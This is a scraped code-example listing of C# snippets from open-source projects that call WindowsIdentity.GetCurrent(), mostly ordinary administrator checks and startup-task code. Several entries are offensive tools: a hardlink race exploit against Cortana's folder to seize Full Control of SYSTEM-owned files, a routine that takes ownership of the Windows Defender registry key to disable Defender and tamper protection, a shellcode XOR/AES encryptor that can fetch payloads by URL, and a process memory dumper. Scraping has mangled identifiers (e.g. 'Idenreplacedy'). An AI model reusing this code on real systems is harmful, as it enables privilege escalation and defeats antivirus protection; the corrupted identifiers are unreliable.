System.Security.Principal.WindowsIdentity.GetCurrent()

Here are the examples of the csharp api System.Security.Principal.WindowsIdentity.GetCurrent() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

510 Examples 7

19 View Source File : Program.cs
License : MIT License
Project Creator : 0ffffffffh

static void CheckAdminRights()
        {
            WindowsPrincipal wp = new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent());

            if (!wp.IsInRole(WindowsBuiltInRole.Administrator))
            {
                
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    Verb = "runas",
                    FileName = appExePath,
                    WorkingDirectory = appWorkDir
                };

                Process.Start(psi);
                Environment.Exit(0);
            }

        }

19 View Source File : Exploit.cs
License : GNU General Public License v3.0
Project Creator : 0x00-0x00

static void Main(string[] args)
        {

            if (args.Length < 1)
            {
                Console.WriteLine("[+] Specify a target filename");
                return;
            }

            if (!File.Exists(args[0]))
            {
                Console.WriteLine($"[+] {args[0]} not found");
                return;
            }

            if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
            {
                Console.WriteLine([email protected]"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
                return;
            }

            if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
            {
                Console.WriteLine([email protected]"[+] {WindowsIdenreplacedy.GetCurrent().Name} already has Full Control of {args[0]}");
                return;
            }


            if (GetCortana() == 0)
            {
                Console.WriteLine("[+] Cortana disabled");
                return;
            }

 
            string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
            string LocalState = AppData + [email protected]"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";

            Console.WriteLine($"[+] Removing {LocalState}");


            try
            {
                Directory.Delete([email protected]"{LocalState}", true);
            }


            catch { }


            IntPtr Thread = GetCurrentThread();
            SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);

            NtFile ntFile;
            ntFile = NtFile.Open([email protected]"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);

            Console.WriteLine("[+] Waiting to Create Hardlink");

            bool Failed = true;

            while (Failed)
            {
                try
                {

                    ntFile.CreateHardlink([email protected]"\??\{LocalState}\rs.txt");
                    Failed = false;

                }

                catch { }
            }

            Console.WriteLine($"[+] Created Hardlink to {args[0]}");


            // Give the service some time to rewrite DACLs
            System.Threading.Thread.Sleep(2000);


            if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
            {
                Console.WriteLine(@"[+] You have Full Control");
            }

            else
            {
                Console.WriteLine(@"[+] Unlucky - Try again");
            }



        }

19 View Source File : DarkFender.cs
License : MIT License
Project Creator : 0xyg3n

public static void ByPreplacedTamper()
        {
            try
            {
                // Get the ID of the current user
                 
                WindowsIdenreplacedy id = WindowsIdenreplacedy.GetCurrent();

                // Add the TakeOwnership Privilege
                 
                bool blRc = TokenManipulation.MySetPrivilege(TokenManipulation.TakeOwnership, true);

                if (!blRc)
                {
                    throw new PrivilegeNotHeldException(TokenManipulation.TakeOwnership);
                }
                    

                /* Add the Restore Privilege (must be done to change the owner)
                 */
                blRc = TokenManipulation.MySetPrivilege(TokenManipulation.Restore, true);
                if (!blRc)
                {
                    throw new PrivilegeNotHeldException(TokenManipulation.Restore);
                }
                  

                // Open a registry which I don't own
                 
                RegistryKey OwnerShipByPreplaced = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows Defender\Features", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);
               
                RegistrySecurity regSecTempo = OwnerShipByPreplaced.GetAccessControl(AccessControlSections.All);

                // Get the real owner
                 
                IdenreplacedyReference oldId = regSecTempo.GetOwner(typeof(SecurityIdentifier));
                SecurityIdentifier siTrustedInstaller = new SecurityIdentifier(oldId.ToString());
                //Console.WriteLine(oldId.ToString());

                // process user become the owner
                
                regSecTempo.SetOwner(id.User);
                OwnerShipByPreplaced.SetAccessControl(regSecTempo);

                RegistryAccessRule regARFullAccess = new RegistryAccessRule(id.User, RegistryRights.FullControl, InheritanceFlags.ContainerInherit, PropagationFlags.None, AccessControlType.Allow);

                regSecTempo.AddAccessRule(regARFullAccess);
                OwnerShipByPreplaced.SetAccessControl(regSecTempo);


                #region Write to Registry (Disable  Defender and Tamper)
                DisableFender(true,true); // disable tamper and defender
                #endregion

                // Put back the original owner

                regSecTempo.SetOwner(siTrustedInstaller);
                OwnerShipByPreplaced.SetAccessControl(regSecTempo);

                // Put back the original Rights

                regSecTempo.RemoveAccessRule(regARFullAccess);
                OwnerShipByPreplaced.SetAccessControl(regSecTempo);

            }
            catch (Exception)
            {
                //MessageBox.Show(ex.ToString());
            }
        }

19 View Source File : Utils.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static bool IsAdministrator()
        {
            try
            {
                WindowsIdenreplacedy current = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
                //WindowsBuiltInRole可以枚举出很多权限,例如系统用户、User、Guest等等
                return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
            }
            catch (Exception ex)
            {
                SaveLog(ex.Message, ex);
                return false;
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 3xpl01tc0d3r

static void Main(string[] args)
        {
            try
            {
                logo();
                // https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10

                var arguments = new Dictionary<string, string>();
                foreach (var argument in args)
                {
                    var idx = argument.IndexOf(':');
                    if (idx > 0)
                        arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                    else
                        arguments[argument] = string.Empty;
                }

                WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with HIGH integrity.");
                }
                else
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with MEDIUM / LOW integrity.");
                }

                if (arguments.Count == 0)
                {
                    PrintError("[-] No arguments specified. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.ContainsKey("/help"))
                {
                    help();
                }
                else if (arguments.Count < 3)
                {
                    PrintError("[-] Some arguments are missing. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.Count >= 3)
                {
                    string key = "SuperStrongKey";
                    string shellcode = null;
                    byte[] rawshellcode = new byte[] { };
                    if (arguments.ContainsKey("/path") && System.IO.File.Exists(arguments["/path"]))
                    {
                        if (arguments["/f"] == "raw")
                        {
                            rawshellcode = System.IO.File.ReadAllBytes(arguments["/path"]);
                        }
                        else
                        {
                            shellcode = System.IO.File.ReadAllText(arguments["/path"]);
                        }

                    }
                    else if (arguments.ContainsKey("/url"))
                    {
                        if (arguments["/f"] == "raw")
                        {
                            rawshellcode = GetRawShellcode(arguments["/url"]);
                        }
                        else
                        {
                            shellcode = GetShellcode(arguments["/url"]);
                        }
                    }

                    if (shellcode != null || rawshellcode.Length > 0)
                    {

                        byte[] buf = new byte[] { };

                        if (arguments.ContainsKey("/key"))
                        {
                            key = (arguments["/key"]);
                        }
                        PrintInfo($"[!] Shellcode will be encrypted using '{key}' key");
                        if (arguments["/enc"] == "xor")
                        {
                            byte[] xorshellcode = new byte[] { };
                            if (arguments["/f"] == "base64")
                            {
                                buf = Convert.FromBase64String(shellcode);
                                xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(Convert.ToBase64String(xorshellcode));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(xorshellcode));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(xorshellcode));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "hex")
                            {
                                buf = StringToByteArray(shellcode);
                                xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(ByteArrayToString(xorshellcode));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(xorshellcode));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", ByteArrayToString(xorshellcode));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "c")
                            {
                                buf = convertfromc(shellcode);
                                xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
                                StringBuilder newshellcode = new StringBuilder();
                                for (int i = 0; i < xorshellcode.Length; i++)
                                {
                                    newshellcode.Append("\\x");
                                    newshellcode.AppendFormat("{0:x2}", xorshellcode[i]);
                                }
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(newshellcode);
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "raw")
                            {
                                xorshellcode = XOR(rawshellcode, Encoding.ASCII.GetBytes(key));
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllBytes(arguments["/o"], xorshellcode);
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllBytes("output.bin", xorshellcode);
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else
                            {
                                PrintError("[-] Please specify correct shellcode format.");
                            }
                        }
                        else if (arguments["/enc"] == "aes")
                        {
                            byte[] preplacedwordBytes = Encoding.UTF8.GetBytes(key);
                            preplacedwordBytes = SHA256.Create().ComputeHash(preplacedwordBytes);
                            byte[] bytesEncrypted = new byte[] { };
                            if (arguments["/f"] == "base64")
                            {
                                buf = Convert.FromBase64String(shellcode);
                                bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(Convert.ToBase64String(bytesEncrypted));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "hex")
                            {
                                buf = StringToByteArray(shellcode);
                                bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(ByteArrayToString(bytesEncrypted));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", ByteArrayToString(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "c")
                            {
                                buf = convertfromc(shellcode);
                                bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
                                StringBuilder newshellcode = new StringBuilder();
                                for (int i = 0; i < bytesEncrypted.Length; i++)
                                {
                                    newshellcode.Append("\\x");
                                    newshellcode.AppendFormat("{0:x2}", bytesEncrypted[i]);
                                }
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(newshellcode);
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "raw")
                            {
                                bytesEncrypted = AES_Encrypt(rawshellcode, preplacedwordBytes);
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllBytes(arguments["/o"], bytesEncrypted);
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllBytes("output.bin", bytesEncrypted);
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else
                            {
                                PrintError("[-] Please specify correct shellcode format.");
                            }
                        }
                        else
                        {
                            PrintError("[-] Please specify correct encryption type.");
                        }
                    }
                    else
                    {
                        PrintError("[-] Please check the specified file path or the URL.");
                    }
                }
                else
                {
                    PrintError("[-] File doesn't exists. Please check the specified file path.");
                }
            }
            catch (Exception ex)
            {
                PrintError(ex.Message);
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 3xpl01tc0d3r

private static void Main(string[] args)
        {
            try
            {
                logo();
                // https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10

                var arguments = new Dictionary<string, string>();
                foreach (var argument in args)
                {
                    var idx = argument.IndexOf(':');
                    if (idx > 0)
                        arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                    else
                        arguments[argument] = string.Empty;
                }

                WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with HIGH integrity.");
                }
                else
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with MEDIUM / LOW integrity.");
                }

                if (arguments.Count == 0)
                {
                    Console.WriteLine("[+] No arguments specified. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.ContainsKey("/pname"))
                {
                    Process[] process = Process.GetProcessesByName(arguments["/pname"]);
                    if (process.Length > 0)
                    {
                        for (int i = 0; i < process.Length; i++)
                        {
                            Console.WriteLine($"[+] Dumping {process[i].ProcessName} process");
                            Console.WriteLine($"[+] {process[i].ProcessName} process handler {process[i].Handle}");
                            Console.WriteLine($"[+] {process[i].ProcessName} process id {process[i].Id}");
                            dump(process[i].Handle, (uint)process[i].Id, process[i].ProcessName);
                        }
                    }
                    else
                    {
                        Console.WriteLine($"[+] {arguments["/pname"]} process is not running.");
                    }
                }
                else if (arguments.ContainsKey("/pid"))
                {
                    int procid = Convert.ToInt32(arguments["/pid"]);
                    Process process = Process.GetProcessById(procid);
                    Console.WriteLine($"[+] Dumping {process.ProcessName} process");
                    Console.WriteLine($"[+] {process.ProcessName} process handler {process.Handle}");
                    Console.WriteLine($"[+] {process.ProcessName} process id {process.Id}");
                    dump(process.Handle, (uint)process.Id, process.ProcessName);
                }
                else
                {
                    Console.WriteLine("[+] Invalid argument. Please refer the help section for more details.");
                    help();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.ReadLine();
        }

19 View Source File : UacHelper.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

public static bool IsProcessElevated()
        {
            if (IsUacEnabled())
            {
                if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_READ, out IntPtr tokenHandle))
                {
                    throw new ApplicationException("Could not get process token.  Win32 Error Code: " + Marshal.GetLastWin32Error());
                }

                try
                {
                    TokenElevationType elevationResult = TokenElevationType.TokenElevationTypeDefault;

                    int elevationResultSize = Marshal.SizeOf(Enum.GetUnderlyingType(elevationResult.GetType()));
                    uint returnedSize = 0;

                    IntPtr elevationTypePtr = Marshal.AllocHGlobal(elevationResultSize);
                    try
                    {
                        bool success = GetTokenInformation(tokenHandle, TokenInformationClreplaced.TokenElevationType, elevationTypePtr, (uint)elevationResultSize, out returnedSize);
                        if (success)
                        {
                            elevationResult = (TokenElevationType)Marshal.ReadInt32(elevationTypePtr);
                            bool isProcessAdmin = elevationResult == TokenElevationType.TokenElevationTypeFull;
                            return isProcessAdmin;
                        }
                        else
                        {
                            throw new ApplicationException("Unable to determine the current elevation.");
                        }
                    }
                    finally
                    {
                        if (elevationTypePtr != IntPtr.Zero)
                        {
                            Marshal.FreeHGlobal(elevationTypePtr);
                        }
                    }
                }
                finally
                {
                    if (tokenHandle != IntPtr.Zero)
                    {
                        CloseHandle(tokenHandle);
                    }
                }
            }
            else
            {
                WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new(idenreplacedy);
                bool result = principal.IsInRole(WindowsBuiltInRole.Administrator) || principal.IsInRole(0x200); // 0x200 = Domain Administrator
                return result;
            }
        }

19 View Source File : RegistryHandler.cs
License : MIT License
Project Creator : adrianmteo

public static void WatchAppTheme(WatchAppThemeCallback callback)
        {
            WindowsIdenreplacedy currentUser = WindowsIdenreplacedy.GetCurrent();

            string query = string.Format(CultureInfo.InvariantCulture, @"SELECT * FROM RegistryValueChangeEvent WHERE Hive = 'HKEY_USERS' AND KeyPath = '{0}\\{1}' AND ValueName = '{2}'", currentUser.User.Value, KeyPath.Replace(@"\", @"\\"), "AppsUseLightTheme");

            try
            {
                ManagementEvenreplacedcher watcher = new ManagementEvenreplacedcher(query);

                watcher.EventArrived += (sender, args) =>
                {
                    callback(GetAppTheme());
                };

                watcher.Start();
            }
            catch (Exception ex)
            {
                Logger.Error(ex.Message);
            }

            callback(GetAppTheme());
        }

19 View Source File : SettingsWindow.xaml.cs
License : MIT License
Project Creator : adrianmteo

private bool SettingsModel_ShouldChangeProperty(object sender, PropertyChangedEventArgs e)
        {
            List<string> properties = new List<string>() { "Enabled", "LightThemeTime", "DarkThemeTime" };

            if (!properties.Contains(e.PropertyName))
            {
                return true;
            }

            using (WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent())
            {
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                bool isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);

                if (!isElevated)
                {
                    if (new MessageWindow(this, "Run as administrator", "You need to run the program as administrator in order to make changes to the Task Scheduler.", "Run as administrator", "Close").ShowDialog() == true)
                    {
                        try
                        {
                            Process process = new Process();
                            process.StartInfo.FileName = replacedembly.GetExecutingreplacedembly().Location;
                            process.StartInfo.Verb = "runas";
                            process.Start();

                            Environment.Exit(0);
                        }
                        catch
                        {
                            //
                        }
                    }

                    return false;
                }
            }

            return true;
        }

19 View Source File : TaskSchedulerHandler.cs
License : MIT License
Project Creator : adrianmteo

private static Task CreateStartupTask(string name, TaskFolder folder, string path, string args)
        {
            Logger.Info("Creating task scheduler startup task '{0}' for app at '{1}' and with args '{2}'", name, path, args);

            Task foundTask = folder.Tasks.FirstOrDefault(e => e.Path == name);

            if (foundTask != null)
            {
                folder.DeleteTask(foundTask.Name);
            }

            string cwd = Path.GetDirectoryName(path);

            TaskDefinition task = Service.NewTask();

            task.Triggers.Add(new LogonTrigger() { UserId = WindowsIdenreplacedy.GetCurrent().Name });
            task.Actions.Add(new ExecAction(path, args, cwd));
            task.Settings.DisallowStartIfOnBatteries = false;

            return folder.RegisterTaskDefinition(name, task);
        }

19 View Source File : MainWindow.cs
License : MIT License
Project Creator : aerosoul94

private void openDeviceToolStripMenuItem_Click(object sender, EventArgs e)
        {
            var isAdmin = new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent())
                .IsInRole(WindowsBuiltInRole.Administrator);

            if (!isAdmin)
            {
                MessageBox.Show("You must re-run this program with Administrator privileges\n" +
                                "in order to read from physical drives.",
                                "Cannot perform operation", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            DeviceSelectionDialog ds = new DeviceSelectionDialog();
            if (ds.ShowDialog() == DialogResult.OK)
            {
                OpenDisk(ds.SelectedDevice);
            }
        }

19 View Source File : Status.cs
License : GNU General Public License v3.0
Project Creator : AHosseinRnj

public static bool IsAdministrator()
        {
            return (new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator);
        }

19 View Source File : ServiceInstaller.cs
License : GNU General Public License v3.0
Project Creator : aiportal

private bool IsAdministrator()
		{
			WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
			WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
			return principal.IsInRole(WindowsBuiltInRole.Administrator);
		}

19 View Source File : MainProgram.cs
License : MIT License
Project Creator : AlbertMN

public static void TaskSchedulerSetup () {
            //Create "Task Scheduler" service; cleanup ACC on startup, log on, workstation unlock
            var ps1File = Path.Combine(MainProgram.currentLocation, "ExtraCleanupper.ps1");

            try {
                var userId = WindowsIdenreplacedy.GetCurrent().Name;
                using (var ts = new TaskService()) {
                    var td = ts.NewTask();
                    td.RegistrationInfo.Author = "Albert MN. | replacedistantComputerControl";
                    td.RegistrationInfo.Description = "replacedistantComputerControl cleanup - clears the action folder to prevent the same action being executed twice";

                    td.Actions.Add(new ExecAction("mshta.exe", $"vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run \"\"powershell -ExecutionPolicy Bypreplaced & '{ps1File}' '{Path.Combine(MainProgram.CheckPath(), "*")}' '*.{Properties.Settings.Default.ActionFileExtension}'\"\", 0:close\")", null));
                    
                    td.Triggers.Add(new LogonTrigger { UserId = userId, });
                    ts.RootFolder.RegisterTaskDefinition(@"replacedistantComputerControl cleanup", td);
                }
            } catch (Exception e) {
                DoDebug("Failed to create / update cleanup Task Scheduler service; " + e.Message);
                Console.WriteLine(e);
            }
        }

19 View Source File : MainProgram.cs
License : MIT License
Project Creator : AlbertMN

public static void SetStartup(bool status, bool setThroughSoftware = false) {
            if (status) {
                //Start
                bool failedStart = false, failedEnd = false;

                try {
                    //Try start with Task Scheduler;
                    var userId = WindowsIdenreplacedy.GetCurrent().Name;

                    try {
                        //Try to delete first; make sure it's gone before attempting to re-create it
                        using (TaskService ts = new TaskService()) {
                            ts.RootFolder.DeleteTask(@"replacedistantComputerControl startup");
                        }
                    } catch {
                    }

                    using (var ts = new TaskService()) {
                        var td = ts.NewTask();
                        td.RegistrationInfo.Author = "Albert MN. | replacedistantComputerControl";
                        td.RegistrationInfo.Description = "replacedistantComputerControl startup - Runs ACC on reboot/login";

                        td.Actions.Add(new ExecAction(Application.ExecutablePath, null, null));

                        td.Settings.StopIfGoingOnBatteries = false;
                        td.Settings.DisallowStartIfOnBatteries = false;

                        td.Triggers.Add(new LogonTrigger { UserId = userId, });
                        ts.RootFolder.RegisterTaskDefinition(@"replacedistantComputerControl startup", td);
                        DoDebug("ACC now starts with Windows (Task Scheduler)");
                    }
                } catch (Exception e) {
                    failedStart = true;
                    DoDebug("Failed to create startup task. Defaulting to starting with Windows registry. Exception was; " + e.Message + ", trace; + " + e.StackTrace);

                    try {
                        RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        rk.SetValue(appName, Application.ExecutablePath);
                        DoDebug("ACC now starts with Windows (Registry)");
                    } catch {
                        failedEnd = true;
                        DoDebug("Also failed to make ACC start with Windows using Registry; " + e.Message + ", " + e.StackTrace);
                        if (!setThroughSoftware) {
                            MessageBox.Show("Failed to make ACC start with Windows", messageBoxreplacedle);
                        }
                    }

                    if (!failedEnd) {
                        Properties.Settings.Default.StartsUsingRegistry = true;
                        Properties.Settings.Default.Save();
                    }
                }

                if (!failedStart && !failedEnd) {
                    Properties.Settings.Default.StartsUsingRegistry = false;
                    Properties.Settings.Default.Save();
                }
            } else {
                /* No longer start with Windows */
                if (!Properties.Settings.Default.StartsUsingRegistry) {
                    //Delete task
                    try {
                        using (TaskService ts = new TaskService()) {
                            // Register the task in the root folder
                            ts.RootFolder.DeleteTask(@"replacedistantComputerControl startup");
                        }
                        DoDebug("ACC no longer starts with Windows (Task Scheduler)");
                    } catch (Exception e) {
                        DoDebug("Failed to make ACC stop starting with Windows by deleting scheduled task. Last exception; " + e.Message + ", trace; " + e.StackTrace);
                        if (!setThroughSoftware) {
                            MessageBox.Show("Failed to make ACC stop starting with Windows. Check the log and contact the developer.", messageBoxreplacedle);
                        }
                    }
                } else {
                    //Delete registry
                    try {
                        RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

                        rk.DeleteValue(appName, false);
                        DoDebug("ACC no longer starts with Windows (Registry)");
                    } catch (Exception e) {
                        DoDebug("Failed to make ACC stop starting with Windows by deleting Registry key. Last exception; " + e.Message + ", trace; " + e.StackTrace);
                        if (!setThroughSoftware) {
                            MessageBox.Show("Failed to make ACC stop starting with Windows. Check the log and contact the developer.", messageBoxreplacedle);
                        }
                    }
                }
            }
        }

19 View Source File : StartupManager.cs
License : MIT License
Project Creator : AlexGyver

private bool IsAdministrator() {
      try {
        WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
        return principal.IsInRole(WindowsBuiltInRole.Administrator);
      } catch {
        return false;
      }
    }

19 View Source File : Utils.cs
License : GNU General Public License v3.0
Project Creator : aloopkin

public static bool IsAdministrator()
        {
            WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }

19 View Source File : UtilsTest.cs
License : GNU General Public License v3.0
Project Creator : aloopkin

[TestMethod()]
        public void IsAdministratorTest()
        {
            WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
            if (principal.IsInRole(WindowsBuiltInRole.Administrator) != Utils.IsAdministrator()) {
                replacedert.Fail();
            }
        }

19 View Source File : FormGUI.cs
License : MIT License
Project Creator : AndnixSH

public static bool IsAdministrator()
        {
            return (new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent()))
                      .IsInRole(WindowsBuiltInRole.Administrator);
        }

19 View Source File : SecurityExtensions.cs
License : GNU General Public License v3.0
Project Creator : AndreiFedarets

public static bool HasAdministratorPermissions()
        {
            using (WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent())
            {
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                bool isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);
                return isElevated;
            }
        }

19 View Source File : ServerStream.cs
License : GNU General Public License v3.0
Project Creator : AndreiFedarets

private static PipeSecurity GetLowLevelPipeSecurity()
        {
            PipeSecurity pipeSecurity = new PipeSecurity();
            PipeAccessRule aceClients = new PipeAccessRule(
                new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null),
                PipeAccessRights.ReadWrite,
                AccessControlType.Allow);
            PipeAccessRule aceOwner = new PipeAccessRule(
                WindowsIdenreplacedy.GetCurrent().Owner,
                PipeAccessRights.FullControl,
                AccessControlType.Allow);
            pipeSecurity.AddAccessRule(aceClients);
            pipeSecurity.AddAccessRule(aceOwner);
            return pipeSecurity;
        }

19 View Source File : UserNamePatternConverter.cs
License : Apache License 2.0
Project Creator : apache

protected override void Convert(TextWriter writer, object state) 
		{
#if (NETCF || SSCLI || NETSTANDARD1_3)
			// On compact framework there's no notion of current Windows user
			writer.Write( SystemInfo.NotAvailableText );
#else
			try
			{
				System.Security.Principal.WindowsIdenreplacedy windowsIdenreplacedy = null;
				windowsIdenreplacedy = System.Security.Principal.WindowsIdenreplacedy.GetCurrent();
				if (windowsIdenreplacedy != null && windowsIdenreplacedy.Name != null)
				{
					writer.Write( windowsIdenreplacedy.Name );
				}
			}
			catch(System.Security.SecurityException)
			{
				// This security exception will occur if the caller does not have 
				// some undefined set of SecurityPermission flags.
				LogLog.Debug(declaringType, "Security exception while trying to get current windows idenreplacedy. Error Ignored.");

				writer.Write( SystemInfo.NotAvailableText );
			}
#endif
		}

19 View Source File : ConsoleUI.cs
License : MIT License
Project Creator : Apr4h

public static bool IsUserAdministrator()
        {
            bool isAdmin;
            WindowsIdenreplacedy user = null;
            try
            {
                user = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(user);
                isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
            }
            catch (Exception)
            {
                isAdmin = false;
            }
            finally
            {
                if (user != null)
                    user.Dispose();
            }
            return isAdmin;
        }

19 View Source File : FileAssociationWindow.axaml.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

private bool IsAdmin()
        {
            if (System.Runtime.InteropServices.RuntimeInformation.IsOSPlatform(System.Runtime.InteropServices.OSPlatform.Windows))
            {
                return new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
            }
            else
            {
                return false;
            }
        }

19 View Source File : Utils.cs
License : MIT License
Project Creator : arsium

public static string Privilege()
        {
            var ID = WindowsIdenreplacedy.GetCurrent();
            var principal = new WindowsPrincipal(ID);
            if (principal.IsInRole(WindowsBuiltInRole.Administrator))
            {
                return "Admin";
            }
            else
            {
                return "User";
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : ASCOMInitiative

